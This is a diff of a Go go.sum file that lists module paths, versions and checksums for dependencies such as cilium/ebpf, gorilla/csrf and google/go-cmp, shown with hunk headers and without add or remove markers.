github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs=
|
||||
github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4=
|
||||
github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsamr8=
|
||||
github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
|
||||
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 h1:WphxHslVftszsr0oZOHPaOjpmN/BsgNYF+gW/hxZXXc=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs=
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa h1:h8TfIT1xc8FWbwwpmHn1J5i43Y0uZP97GqasGCzSRJk=
|
||||
github.com/dblohm7/wingoes v0.0.0-20240119213807-a09d6be7affa/go.mod h1:Nx87SkVqTKd8UtT+xu7sM/l+LgXs6c0aHrlKusR+2EQ=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e h1:vUmf0yezR0y7jJ5pceLHthLaYf4bA5T14B6q39S4q2Q=
|
||||
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e/go.mod h1:YTIHhz/QFSYnu/EhlF2SpU2Uk+32abacUYA5ZPljz1A=
|
||||
github.com/djherbis/times v1.6.0 h1:w2ctJ92J8fBvWPxugmXIv7Nz7Q3iDMKNx9v5ocVH20c=
|
||||
github.com/djherbis/times v1.6.0/go.mod h1:gOHeRAz2h+VJNZ5Gmc/o7iD9k4wW7NMVqieYCY99oc0=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dsnet/try v0.0.3 h1:ptR59SsrcFUYbT/FhAbKTV6iLkeD6O18qfIWRml2fqI=
|
||||
github.com/dsnet/try v0.0.3/go.mod h1:WBM8tRpUmnXXhY1U6/S8dt6UWdHTQ7y8A5YSkRCkq40=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
|
||||
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
|
||||
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
|
||||
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
|
||||
github.com/fxamacker/cbor/v2 v2.5.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo=
|
||||
github.com/gaissmai/bart v0.4.1 h1:G1t58voWkNmT47lBDawH5QhtTDsdqRIO+ftq5x4P9Ls=
|
||||
github.com/gaissmai/bart v0.4.1/go.mod h1:KHeYECXQiBjTzQz/om2tqn3sZF1J7hw9m6z41ftj3fg=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
|
||||
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
|
||||
github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14=
|
||||
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
|
||||
github.com/github/fakeca v0.1.0 h1:Km/MVOFvclqxPM9dZBC4+QE564nU4gz4iZ0D9pMw28I=
|
||||
github.com/github/fakeca v0.1.0/go.mod h1:+bormgoGMMuamOscx7N91aOuUST7wdaJ2rNjeohylyo=
|
||||
github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo=
|
||||
@@ -144,25 +149,15 @@ github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vb
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
|
||||
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
|
||||
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
|
||||
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
|
||||
github.com/go-playground/validator/v10 v10.2.0 h1:KgJ0snyC2R9VXYN2rneOtQcw5aHQB1Vv0sFl1UcHBOY=
|
||||
github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
|
||||
github.com/gobwas/ws v1.3.0 h1:sbeU3Y4Qzlb+MOzIe6mQGf7QR4Hkv6ZD0qhGkBFL2O0=
|
||||
github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
|
||||
github.com/gobwas/ws v1.3.2 h1:zlnbNHxumkRvfPWgfXu8RBwyNR1x8wh9cf5PTOCqs9Q=
|
||||
github.com/gobwas/ws v1.3.2/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
|
||||
@@ -177,42 +172,36 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
|
||||
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
|
||||
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
|
||||
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
|
||||
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4=
|
||||
github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/csrf v1.7.1 h1:Ir3o2c1/Uzj6FBxMlAUB6SivgVMy1ONXwYgXn+/aHPE=
|
||||
github.com/gorilla/csrf v1.7.1/go.mod h1:+a/4tCmqhG6/w4oafeAZ9pEa3/NZOWYVbD9fV0FwIQA=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/csrf v1.7.2 h1:oTUjx0vyf2T+wkrx09Trsev1TE+/EbDAeHtSTbtC2eI=
|
||||
github.com/gorilla/csrf v1.7.2/go.mod h1:F1Fj3KG23WYHE6gozCmBAezKookxbIvUJT+121wTuLk=
|
||||
github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=
|
||||
github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=
|
||||
github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ=
|
||||
github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
|
||||
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
|
||||
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
|
||||
github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hdevalence/ed25519consensus v0.1.0 h1:jtBwzzcHuTmFrQN6xQZn6CQEO/V9f7HsjsjeEZ6auqU=
|
||||
github.com/hdevalence/ed25519consensus v0.1.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
@@ -220,8 +209,8 @@ github.com/illarion/gonotify v1.0.1 h1:F1d+0Fgbq/sDWjj/r66ekjDG+IDeecQKUFH4wNwso
|
||||
github.com/illarion/gonotify v1.0.1/go.mod h1:zt5pmDofZpU1f8aqlK0+95eQhoEAn/d4G4B/FjVW4jE=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a h1:S33o3djA1nPRd+d/bf7jbbXytXuK/EoXow7+aa76grQ=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a/go.mod h1:zmdm3sTSDP3vOOX3CEWRkkRHtKr1DxBx+J1OQFoDQQs=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2/go.mod h1:3A9PQ1cunSDF/1rbTq99Ts4pVnycWg+vlPkfeD2NLFI=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
@@ -234,6 +223,8 @@ github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -244,22 +235,17 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw
|
||||
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/josharian/native v1.0.1-0.20221213033349-c1e37c09b531/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 h1:elKwZS1OcdQ0WwEDBeqxKwb7WB62QX8bvZ/FJnVXIfk=
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86/go.mod h1:aFAMtuldEgx/4q7iSGazk22+IcgvtiC+HIimFO9XlS8=
|
||||
github.com/jsimonetti/rtnetlink v1.3.5 h1:hVlNQNRlLDGZz31gBPicsG7Q53rnlsz1l1Ix/9XlpVA=
|
||||
github.com/jsimonetti/rtnetlink v1.3.5/go.mod h1:0LFedyiTkebnd43tE4YAkWGIq9jQphow4CcwxaT2Y00=
|
||||
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/jsimonetti/rtnetlink v1.4.0 h1:Z1BF0fRgcETPEa0Kt0MRk3yV5+kF1FWTni6KUFKrq2I=
|
||||
github.com/jsimonetti/rtnetlink v1.4.0/go.mod h1:5W1jDvWdnthFJ7fxYX1GMK07BUpI4oskfOqvPteYS6E=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
|
||||
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
@@ -277,8 +263,6 @@ github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
